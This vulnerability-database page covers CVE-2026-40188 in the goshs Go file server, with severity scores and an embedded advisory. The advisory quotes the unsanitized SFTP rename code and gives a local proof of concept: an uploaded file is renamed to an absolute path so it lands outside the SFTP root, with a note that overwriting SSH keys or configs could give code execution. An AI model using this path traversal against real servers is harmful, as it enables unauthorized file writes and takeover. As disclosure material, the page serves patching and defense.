CVE-2026-40188

highpriority · track · 0EPSS 0.003 · 25 %ileEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.32% (25th) EPSS
CVSS 7.7 · high
Is it mine?
5 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-26

goshs is a SimpleHTTPServer written in Go. From 1.0.7 to before 2.0.0-beta.4, the SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP. This vulnerability is fixed in 2.0.0-beta.4.

01

cvss

Technical severity, 0–10. One row per scoring source.

7.7
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.17.7highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:Nsecondary · ENISA EU
v3.17.7highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:Nsecondary · security-advisories@github.comexploitability 3.1 · impact 4
v3.17.7highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:Nsecondary · OSV
v3.17.1highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (5)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-2943-crp8-38xxgoshs is Missing Write Protection for Parametric Data Values2026-04-10ghsa · osvUS

    ### Summary The SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP. ### Details Here is the issue: ```go // helper.go:155-215 func cmdFile(root string, r *sftp.Request, ip string, sftpServer *SFTPServer) error { fullPath, err := sanitizePath(r.Filepath, root) // Source: SANITIZED if err != nil { return err } switch r.Method { // ... case "Rename": err := os.Rename(fullPath, r.Target) // Destination: NOT SANITIZED! ``` ### PoC To exploit just upload a file on the SFTP and rename it to a file with full path. Currently no key.txt file inside /tmp ``` bash $ ls key.txt ls: key.txt: No such file or directory ``` Start the SFTP server: ``` bash /tmp/sftp-server $ goshs -sftp -b 'user:user' -d . WARNING[2026-04-02 20:00:18] upload-folder mode deactivated due to use of 'sftp' mode WARNING[2026-04-02 20:00:18] There is a newer Version (v2.0.0-beta.3) of goshs available. Run --update to update goshs. INFO [2026-04-02 20:00:18] Starting SFTP server on port 0.0.0.0:2022 WARNING[2026-04-02 20:00:18] You are using basic auth without SSL. Your credentials will be transferred in cleartext. Consider using -s, too. INFO [2026-04-02 20:00:18] Using basic auth with user 'user' and password 'user' INFO [2026-04-02 20:00:18] Download embedded file at: /example.txt?embedded INFO [2026-04-02 20:00:18] Serving on interface lo0 bound to 127.0.0.1:8000 INFO [2026-04-02 20:00:18] Serving on interface en0 bound to 192.168.68.51:8000 INFO [2026-04-02 20:00:18] Serving HTTP from /tmp/sftp-server ``` Connect to the SFTP and uploading the file: ``` bash $ sftp -P 2022 user@localhost user@localhost's password: Connected to localhost. sftp> put /Users/user/Downloads/key.txt Uploading /Users/user/Downloads/key.txt to /tmp/sftp-server/key.txt key.txt 100% 15 40.9KB/s 00:00 ``` The file is stored properly. goshs log: ``` INFO [2026-04-02 20:03:31] SFTP: [::1]:61742 - [Put] - "/tmp/sftp-server/key.txt" ``` Rename command with full path: ``` bash sftp> rename key.txt /tmp/key.txt ``` goshs log: ``` INFO [2026-04-02 20:04:09] SFTP: [::1]:61742 - [Rename] - "/tmp/sftp-server/key.txt to /tmp/key.txt" ``` Key file is now in /tmp ``` $ ls key.txt key.txt ``` ### Impact This allows file write and can be used either for an RCE in form of overwrite an SSH key, or by overwriting a configuration etc.

  • GO-2026-4953goshs is Missing Write Protection for Parametric Data Values in github.com/patrickhener/goshs2026-05-20vendor · osvUS

    goshs is Missing Write Protection for Parametric Data Values in github.com/patrickhener/goshs

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-04-10modified 2026-10-26
08

references (10)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan